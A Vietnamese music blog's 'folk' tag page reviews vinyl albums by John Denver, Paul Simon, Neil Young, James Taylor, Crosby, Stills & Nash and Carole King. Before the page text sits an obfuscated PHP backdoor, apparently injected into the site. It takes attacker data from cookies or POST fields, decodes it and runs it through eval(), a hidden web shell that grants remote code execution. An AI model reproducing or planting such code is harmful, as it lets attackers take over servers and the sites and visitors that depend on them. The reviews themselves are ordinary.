$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> folk – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Tag: folk (page 1 of 2)

John Denver – Back Home Again

Đây là album duy nhất của John Denver mà mình thích cho tới giờ. Khi ra Back Home Again, John Denver đang ở đỉnh cao của danh tiếng và đạt được độ chín muồi về tài năng. Khá nhiều ca khúc trong album này trở thành hit đặc sắc trong sự nghiệp của ông. Đây có lẽ cũng xứng được liệt vào một trong những album folk/pop tiêu biểu và đáng nghe nhất trong thập niên 70.

Back Home Again rất ‘sáng’, sáng theo ý nghĩa tươi tắn và yêu đời. Ở album này, John chơi một thứ nhạc rộn ràng với tempo khá nhanh, lời lẽ phóng khoáng, tự nhiên và đôi chỗ giọng điệu nghịch ngợm, hài hước.

Ca khúc chủ đề của album Back Home Again như một bản country được cất lên từ miệng gã cao bồi trên đường quê vắng, Grandma’s Feather Bed là câu chuyện hài được kể từ miệng các cô cậu bé, Thank God I’m a Country Boy đầy vui vẻ. Đặc biệt nhất chắc là Annie’s Song – bài hát viết tặng vợ của ông, viết theo kiểu cười tươi nhưng không thiếu phần lãng mạn.

Điểm đặc biệt của album ngoài lời còn là dàn nhạc phía sau. Rất nhiều ca khúc, John Denver đánh guitar 6 dây, được hỗ trợ bởi vô số nhạc cụ khác nhau: từ đàn banjo, mandolin, bộ gõ, cho tới kèn clarinet… Điều này khiến album tránh đi vào tình trạng nhàm chán dễ thấy ở các album thể loại folk/ pop này.

Có những ca khúc trong album này mình thích và muốn nghe đi nghe lại nhiều lần. Cá nhân mình đánh giá record này 5/5.

Paul Simon – One Trick Pony

Trong cặp song ca danh tiếng một thời Simon & Garfunkel thì Paul Simon đóng vai trò có thể nói là quan trọng hơn người bạn Art Garfunkel. Hầu như toàn bộ những bài hát của cặp song ca này đều do Simon viết lời, trong đó, dĩ nhiên có những ca khúc đã rất quen thuộc với đông đảo thính giả yêu nhạc trên thế giới: The Sound of Silence, Mrs. Robinson, Bridge Over the Troubled Water… Sau khi nhóm tan rã vào năm 1970, Paul Simon đã có sự nghiệp solo rất thành công, ông vẫn cặm cụi sáng tác và trình diễn, nhưng buồn thay, lần này chỉ có một mình, cùng cây đàn guitar tinh tính tình tang.

One Trick Pony là album thứ 5 của Paul Simon, ra đời cùng lúc với bộ phim cùng tên mà ông thủ vai chính. Mình chưa có dịp xem phim này, nhưng thấy bảo tuy album được xem là soundtrack của bộ phim, cùng một ca khúc lại được trình diễn theo một phong cách khác biệt giữa phim và nhạc. Khá là thú vị.

Mình khá là ngạc nhiên khi lần đầu nghe album này, vì đây là album solo đầu tiên của Simon mà mình nghe kể từ thuở Simon & Garfunkel xa xưa. Nói thế nào nhỉ? Đại loại nếu không nhìn tên ca sĩ, thì chắc mình sẽ không ngờ đây là Paul Simon. Cũng có thể, The Sound of Silence là mốc son quá chói lọi trong sự nghiệp của Simon nói riêng và cặp song ca nói chung, nên những ca khúc solo sau này của Simon, nghe có chút gì đó hơi thiếu và chưa đủ. Giọng Simon chậm rãi và buồn man mác, nhưng nhạc đã là cái thứ nhạc pop-jazz lẫn tí funk của những tay ca sĩ đã bắt đầu ở phía sườn dốc bên kia của sự nghiệp. Có lẽ hơi đáng tiếc, nhưng chắc chẳng có thể chờ đợi gì hơn.

Nói là nói thế, album vẫn có những phút giây đẹp nhất định, đó là khi Simon buồn bã hỏi mẹ

Where you goin’?

I’m just born

trong That’s Why God Made The Movies, hay những giai điệu đầy hồi ức tuổi thơ trong ca khúc thành công nhất của album Late In The Evening, hoặc chất funk hơi nhẹ nhưng đủ để tăng thêm không khí vui tươi cho album vốn khá ảm đạm từ đầu đến giờ: One Trick Pony.

Một album mình không hài lòng 100%, nhưng mình vẫn đánh giá là một album chất lượng được.

 

Neil Young – Harvest

Harvest là một trong những record đầu tiên mình có, đồng thời cũng là điểm đầu tiên thôi thúc cái thú vui sưu tập vinyl trong mình. Mình từng viết về Harvest của Neil Young như sau

Rồi có lần như tuần rồi, tôi đi estate sale nhà một ông giáo dạy nhạc vừa qua đời. Trong lúc người ta đang hối hả ngược xuôi ở tầng dưới, trả giá từng cái chén, cái ly trong bộ sưu tập của ông, thì mình tôi ngồi im ắng ở phòng trên lầu, nhìn vào dàn máy nhạc và đống đĩa vinyl của ông mà không mấy ai quan tâm. Trong turntable, vẫn đang để Harvest của Neil Young. Tôi đưa mắt nhìn vào góc phòng, nơi đó nằm lạc lõng cái ghế gỗ dựa bập bênh được. Tôi tự hỏi, phải chăng đây là nơi ông giáo mỗi tối ngồi đắm chìm trong âm nhạc – thứ đã đi cùng ông gần suốt cả cuộc đời. Cái lúc nghe tới ‘Old Man’, ông có buồn, có nghĩ đến điều gì không?

Và đến bây giờ, cảm giác mỗi lần nghe từng lời ca buồn đến não ruột trong Old Man vẫn còn nguyên như ban đầu. Ôi cái sự đồng cảm tuyệt diệu đấy.

—–

Harvest là album không được giới chuyên môn đánh giá cao nhưng rất thành công về doanh thu và nhất là trong lòng người hâm mộ của Neil Young. Trong album này, Young đã ưu ái mời dàn nhạc giao hưởng chơi cùng mình trong 2 bài. Những bài còn lại thì có đến 3 bài backup vocals là những người bạn cũ của ông trong Crosby, Stills & Nash (dĩ nhiên, có thể đoán, nghe rất ra mùi country folk rock – thứ nhạc mà CSN vốn được biết đến), 2 bài thành công nhất trong album là Old ManHeart of Gold thì backup vocals là James Taylor và Linda Ronstadt. Vì vậy, album này về chất lượng nghệ thuật mình thấy rất ổn, nó nghiêng về country nhiều nên giai điệu nhẹ nhàng và dễ nghe.

Nói về Old Man đi. Khó mà tin khi sáng tác bài này, Young mới 26 tuổi. Bài hát già dặn và buồn lõi đời hơn nhiều so với cái tuổi này của Young. Khi nghe bài hát, có cảm giác đó là một tay cao bồi già miền Nam, một chiều ngồi nhìn hoàng hôn, đốt thuốc và kể chuyện đời mình; hơn là một anh chàng lãng tử tóc dài quá vai, ôm cây guitar và cất giọng khàn khàn luyến láy.

Old man take a look at my life
I’m a lot like you
I need someone to love me
the whole day through

Harvest là album khá lạ kì. Nó thuộc dạng love or hate it, there is no between. Có rất nhiều người đánh giá thấp album này, vì nó không thể bằng được After the Gold Rush phát hành trước đó; hay nó quá cheesy, quá dễ nghe, hay là nó rời rạc quá, khi thì có những ca khúc gắng-làm-cho-trang-trọng đánh chung với dàn giao hưởng, chen lẫn những ca khúc dễ nghe, những ca khúc buồn man mác và cả sầu bi đau đớn… Lại có những người xem Harvest là một trong những album sáng giá nhất những năm 70. Không bàn đến Heart of Gold và Old Man, A Man Needs A Maid nghe rất hút hồn, ngay từ những nốt nhạc đầu tiên, Alabama gợi phần nào đến Lynyrd Skynyrd. Đặc biệt nhiều người đánh giá cao The Needle And The Damage Done nghe buồn như một bài nhạc blue vang lên trong chiều vắng. Mình thuộc trường hợp sau.

Đến hiện tại, Harvest vẫn là album mình nghe thường xuyên, có lẽ vì nó đóng vai trò quan trọng trong quá trình chơi vinyl của mình.

James Taylor – Mud Slide Slim And The Blue Horizon & Greatest Hits

2 records mình có của James Taylor, tìm được khi đang phủ bụi trên kệ đĩa ở tiệm sách cũ: Mud Slide Slim & The Blue Horizon, và Greatest Hits. Vẫn như trước, mình sẽ không nói nhiều đến Greatest Hits vốn là album tổng hợp của James.

Những review về James rất trái chiều. Có nhiều nhà phê bình đánh giá ông là một tài năng hiếm hoi, như Chuck Berry, Bob Dylan hay The Band những năm thập niên 60, 70. Ông kết hợp được thứ âm nhạc blue buồn man mác của người da đen vào với thứ folk rock rộn ràng vui nhộn của những người da trắng. Thính giả vốn đặt rất nhiều kì vọng vào ông sau album Sweet Baby James phát hành ngay năm trước đó, đã phần nào thất vọng với Mud Slide Slim & The Blue Horizon. Ngay từ bìa album. Chỉ một năm cách biệt, James trên cover của album mới nhìn đầy phong trần và buồn nản hơn, so với hình ảnh một James nghiêm nghị mím môi nhưng nhìn trẻ trung và đầy sức sống ở album trước đó. Âm nhạc của James trong album mới cũng buồn và mất tinh thần hơn nhiều, có lẽ ảnh hưởng bởi tác dụng phụ của rượu và chất kích thích mà ông dùng liên tục trong khoảng thời gian đó. Ẩn chứa trong vài bài của James còn có tư tưởng buông xuôi, chán đời.

Nếu không đọc hay không biết, không quan tâm về cuộc đời James thì ắt thấy album này  hay. Âm nhạc vẫn là sự tiếp nối từ album trước. Giọng của James vẫn rất đặc biệt, cái chất giọng cao và cô độc đầy cảm xúc đấy vẫn cuốn hút như ngày nào. Và có lẽ, đó cũng là đánh giá của mình cho album thứ 3 ngày của James. Về nghệ thuật, hay đủ để tán dương, đặc biệt là track cover của Carole King You’ve Got A Friend, có lẽ không ai hát được bản này đầy xúc cảm đến thế. Nội chỉ một track này thôi, cũng đủ bừng sáng cả một album…

I don’t know no love songs and I can’t sing the blues anymore.
But I can sing this song and you can sing this song when I’m gone.

Crosby, Stills & Nash – CSN

CSN là album thứ 3 của Crosby, Stills & Nash, ra sau Déjà Vu nổi tiếng mà mình đã nhắc ở đây. Sau Déjà Vu (1970), các thành viên trong ban nhạc bận rộn theo đuổi những dự án riêng của mình. Lần duy nhất trong 7 năm đó mà họ tái hợp với đầy đủ đội hình (có cả Neil Young) là vào tour năm 1974. Những người yêu nhạc đã chờ quá lâu mới lại được nghe Crosby, Stills & Nash hát. Vì vậy, không lấy gì làm ngạc nhiên khi CSN leo hạng vùn vụt trên các bảng xếp hạng ngay khi vừa ra mắt. Vấn đề là, CSN có thật sự hay, hoặc đó chỉ là sự mong chờ của thính giả quyết định?

Câu trả lời là 3/4 và 1/4. Hơi lạ, nhưng là vậy. Nghĩa là CSN có hay, vẫn hay, đủ hay hơn hầu hết các folk rock và soft rock band và album cùng giai đoạn. Đem so với Déjà Vu trước đó 7 năm thì hơi bất công quá cho CSN, khi album này không còn Young, nhưng nếu chỉ đem so với album đầu tay (cùng tên) của Crosby, Stills & Nash, thì CSN vẫn có chút gì đó kém.

Nói là kém, ấy là khi đặt tiêu chuẩn so sánh cao quá thôi, chứ như đã nói, CSN vẫn hay, vì nó vẫn giữ được chất nhạc mà CSN theo đuổi từ đầu: những bài hát cực giàu giai điệu, lời nhạc thơ và ý nghĩa, phối khí các giọng ca hát nối ngay hay chồng lên nhau tạo hiệu ứng thính giác đặc biệt, nghe tựa như một dàn đồng ca nhỏ đang xướng vang. Thêm nữa, không hẳn là CSN không có điểm đặc sắc của riêng mình. Nó có, nhưng khó nhận ra. Đó là khả năng sáng tác của 3 thành viên đã chín muồi hơn, đặc biệt là ở Stills – các bài hát buồn với tâm trạng u ám sau cuộc hôn nhân tan vỡ.

Nhìn chung, mình không thích CSN bằng album Déjà Vu trước đó, nhưng vẫn đánh giá đây là một album nghe được.

Carole King – Music

Music là album thứ 3 của Carole King, ra ngay sau Tapestry đầy nổi tiếng (mà mình đã nhắc ở đây). Tuy Music cũng có những thành công nhất định, nhưng so với Tapestry thì vẫn không lại được. Nhưng, nhìn chung, it is still one of her finest.

Giọng của Carole trong album này mình có thể không thích bằng Tapestry, thậm chí có đôi lúc thấy giọng cô hơi yếu để trình bày một số bài đòi hỏi chút mạnh mẽ như Carry Your Load. Tuy nhiên, giai điệu của album ổn hơn rất nhiều, nhất là những lúc Carole chơi đại dương cầm hay đàn celesta. Album cũng thể hiện rõ nét khả năng sáng tác tuyệt vời của Carole, với những hit như It’s Gonna Take Some Time (sau này The Carpenters cũng hát).

Bài mình thích trong album này là MusicSong of Long Ago (back vocal bởi James Taylor).

Music is playing inside my head
Over and over and over again
My friend, there’s no end to the music

Carole King – Tapestry

Tapestry là một trong những album bán chạy nhất, và đứng vị trí #36 trong bảng xếp hạng 500 album xuất sắc nhất mọi thời đại của tạp chí Rolling Stones. Nó cũng mang lại tới tận 4 giải Grammy cho Carole King.

Thật ra, mình không hẳn là fan của thể loại folk pop nhẹ thế này. Nhưng cũng như đa phần bộ sưu tập của mình, khi thấy đĩa này nằm trên kệ đĩa tại một cửa hàng bán đồ cũ, mình không do dự mua ngay. $1 để được nghe record nổi tiếng thế này, dù có thích hay không cũng sẽ đáng.

Đúng như mình nghĩ, Tapestry có lẽ sẽ hợp với các cô gái bên ngoài gồ ghề nhưng lại mỏng manh yếu đuối sống nội tâm hay khóc thầm hơn. Nhưng không có nghĩa là mình không thích. Có những bài cực kì cheesy, nghe lúc nửa đêm trong không gian vô cùng tĩnh lặng, cái giọng thô ráp của Carole vang lên nghe hay gì đâu. Nó sến, nó từ tốn, nó hơi thô và giọng ca sĩ chính không hoàn hảo lắm về mặt thanh nhạc, nhưng mang lại cảm giác lạ ít thấy ở những giọng ca nữ khác, đặc biệt trong thể loại folk pop này.

 

 

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.